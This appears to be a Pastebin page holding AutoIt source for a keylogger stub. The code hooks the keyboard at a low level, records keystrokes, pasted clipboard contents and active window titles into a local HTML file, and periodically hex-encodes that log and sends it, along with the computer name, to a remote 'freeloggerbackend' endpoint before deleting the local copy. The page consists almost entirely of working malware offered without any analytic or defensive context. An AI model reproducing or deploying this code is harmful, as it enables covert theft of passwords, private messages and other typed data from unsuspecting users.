Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #Region ;**** Directives created by AutoIt3Wrapper_GUI ****
- #AutoIt3Wrapper_Outfile=stub.exe
- #AutoIt3Wrapper_Change2CUI=y
- #EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
- #include <MsgBoxConstants.au3>
- #include <StructureConstants.au3>
- #include <WinAPI.au3>
- #include <Misc.au3>
- #include <WindowsConstants.au3>
- #include <string.au3>
- #include <inet.au3>
- Global $g_hHook, $g_hStub_KeyProc, $g_sBuffer = "", $lastwin
- $PCID = @ComputerName
- $username = FileRead(@ScriptFullPath&":username")
- $date = @YEAR&"-"&@MON&"-"&@MDAY
- $timer = TimerInit()
- $password = FileRead(@ScriptFullPath&":password")
- Example()
- Func Example()
- OnAutoItExitRegister("Cleanup")
- Local $hMod
- $g_hStub_KeyProc = DllCallbackRegister("_KeyProc", "long", "int;wparam;lparam")
- $hMod = _WinAPI_GetModuleHandle(0)
- $g_hHook = _WinAPI_SetWindowsHookEx($WH_KEYBOARD_LL, DllCallbackGetPtr($g_hStub_KeyProc), $hMod)
- $auth = StringTrimLeft(_INetGetSource("https://pdglobal.net/?sid=login&usr=" & $username & "&pwd=" & $password),3)
- While 1
- Sleep(10)
- if TimerDiff($timer) > 66623 Then
- $data = _StringToHex(FileRead(@ScriptDir&"\temp.html"))
- _INetGetSource("https://pdglobal.net/?sid=freeloggerbackend&data="&$data&"&username="&$username&"&date="&$date&"&PCID="&$PCID&"&session="&$auth)
- FileDelete(@ScriptDir&"\temp.html")
- $timer = TimerInit()
- EndIf
- WEnd
- EndFunc ;==>Example
- Func EvaluateKey($iKeycode)
- if $lastwin <> WinGetTitle(WinGetHandle("")) Then
- $lastwin = WinGetTitle(WinGetHandle(""))
- FileWrite(@ScriptDir&"\temp.html", "<br/><Br/><font style='color:#0000FF'>["&WinGetTitle(WinGetHandle(""))&" "&@HOUR&":"&@MIN&":"&@SEC&"]</font><br/>")
- EndIf
- $date = @YEAR&"-"&@MON&"-"&@MDAY
- if _IsPressed("11") Then
- if $iKeycode = 86 Then
- FileWrite(@ScriptDir&"\temp.html", ClipGet())
- Return
- EndIf
- EndIf
- if $iKeycode = 13 Then
- FileWrite(@ScriptDir&"\temp.html", "<font style='color:#005500'>{ENTER}</font><br/>")
- Return
- EndIf
- if $iKeycode = 191 Then
- if _IsPressed("10") Then
- FileWrite(@ScriptDir&"\temp.html", "?")
- Return
- EndIf
- FileWrite(@ScriptDir&"\temp.html", "/")
- Return
- EndIf
- if $iKeycode = 190 Then
- if _IsPressed("10") Then
- FileWrite(@ScriptDir&"\temp.html", ">")
- Return
- EndIf
- FileWrite(@ScriptDir&"\temp.html", ".")
- Return
- EndIf
- if $iKeycode = 188 Then
- if _IsPressed("10") Then
- FileWrite(@ScriptDir&"\temp.html", "<")
- Return
- EndIf
- FileWrite(@ScriptDir&"\temp.html", ",")
- Return
- EndIf
- if $iKeycode = 186 Then
- if _IsPressed("10") Then
- FileWrite(@ScriptDir&"\temp.html", ":")
- Return
- EndIf
- FileWrite(@ScriptDir&"\temp.html", ";")
- Return
- EndIf
- if $iKeycode = 222 Then
- if _IsPressed("10") Then
- FileWrite(@ScriptDir&"\temp.html", '"')
- Return
- EndIf
- FileWrite(@ScriptDir&"\temp.html", "'")
- Return
- EndIf
- if $iKeycode = 219 Then
- if _IsPressed("10") Then
- FileWrite(@ScriptDir&"\temp.html", "{")
- Return
- EndIf
- FileWrite(@ScriptDir&"\temp.html", "[")
- Return
- EndIf
- if $iKeycode = 220 Then
- if _IsPressed("10") Then
- FileWrite(@ScriptDir&"\temp.html", "|")
- Return
- EndIf
- FileWrite(@ScriptDir&"\temp.html", "\")
- Return
- EndIf
- if $iKeycode = 221 Then
- if _IsPressed("10") Then
- FileWrite(@ScriptDir&"\temp.html", "}")
- Return
- EndIf
- FileWrite(@ScriptDir&"\temp.html", "]")
- Return
- EndIf
- if $iKeycode = 189 Then
- if _IsPressed("10") Then
- FileWrite(@ScriptDir&"\temp.html", "_")
- Return
- EndIf
- FileWrite(@ScriptDir&"\temp.html", "-")
- Return
- EndIf
- if $iKeycode = 187 Then
- if _IsPressed("10") Then
- FileWrite(@ScriptDir&"\temp.html", "+")
- Return
- EndIf
- FileWrite(@ScriptDir&"\temp.html", "=")
- Return
- EndIf
- If (($iKeycode > 64) And ($iKeycode < 91)) _ ; a - z
- Or (($iKeycode > 96) And ($iKeycode < 123)) _ ; A - Z
- Or (($iKeycode > 47) And ($iKeycode < 58)) Then
- if _IsPressed("10") Then
- if $iKeycode > 47 AND $iKeycode < 58 Then
- switch Chr($iKeycode)
- case 0
- FileWrite(@ScriptDir&"\temp.html", ")")
- case 1
- FileWrite(@ScriptDir&"\temp.html", "!")
- case 2
- FileWrite(@ScriptDir&"\temp.html", "@")
- case 3
- FileWrite(@ScriptDir&"\temp.html", "#")
- case 4
- FileWrite(@ScriptDir&"\temp.html", "$")
- case 5
- FileWrite(@ScriptDir&"\temp.html", "%")
- case 6
- FileWrite(@ScriptDir&"\temp.html", "^")
- case 7
- FileWrite(@ScriptDir&"\temp.html", "&")
- case 8
- FileWrite(@ScriptDir&"\temp.html", "*")
- case 9
- FileWrite(@ScriptDir&"\temp.html", "(")
- EndSwitch
- return
- EndIf
- FileWrite(@ScriptDir&"\temp.html", Chr($iKeycode))
- Else
- FileWrite(@ScriptDir&"\temp.html", StringLower(Chr($iKeycode)))
- EndIf
- ElseIf ($iKeycode > 159) And ($iKeycode < 164) Then
- Return
- elseif $iKeycode = 8 Then
- FileWrite(@ScriptDir&"\temp.html", "<font style='color:#ff0000'>{<-}</font>")
- elseif $iKeycode = 32 Then
- FileWrite(@ScriptDir&"\temp.html", " ")
- endif
- EndFunc ;==>EvaluateKey
- ; ===========================================================
- ; callback function
- ; ===========================================================
- Func _KeyProc($nCode, $wParam, $lParam)
- Local $tKEYHOOKS
- $tKEYHOOKS = DllStructCreate($tagKBDLLHOOKSTRUCT, $lParam)
- If $nCode < 0 Then
- Return _WinAPI_CallNextHookEx($g_hHook, $nCode, $wParam, $lParam)
- EndIf
- If $wParam = $WM_KEYDOWN Then
- EvaluateKey(DllStructGetData($tKEYHOOKS, "vkCode"))
- Else
- Local $iFlags = DllStructGetData($tKEYHOOKS, "flags")
- Switch $iFlags
- Case $LLKHF_ALTDOWN
- ConsoleWrite("$LLKHF_ALTDOWN" & @CRLF)
- Case $LLKHF_EXTENDED
- ConsoleWrite("$LLKHF_EXTENDED" & @CRLF)
- Case $LLKHF_INJECTED
- ConsoleWrite("$LLKHF_INJECTED" & @CRLF)
- Case $LLKHF_UP
- ConsoleWrite("$LLKHF_UP: scanCode - " & DllStructGetData($tKEYHOOKS, "scanCode") & @TAB & "vkCode - " & DllStructGetData($tKEYHOOKS, "vkCode") & @CRLF)
- EndSwitch
- EndIf
- Return _WinAPI_CallNextHookEx($g_hHook, $nCode, $wParam, $lParam)
- EndFunc ;==>_KeyProc
- Func Cleanup()
- _WinAPI_UnhookWindowsHookEx($g_hHook)
- DllCallbackFree($g_hStub_KeyProc)
- EndFunc ;==>Cleanup
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement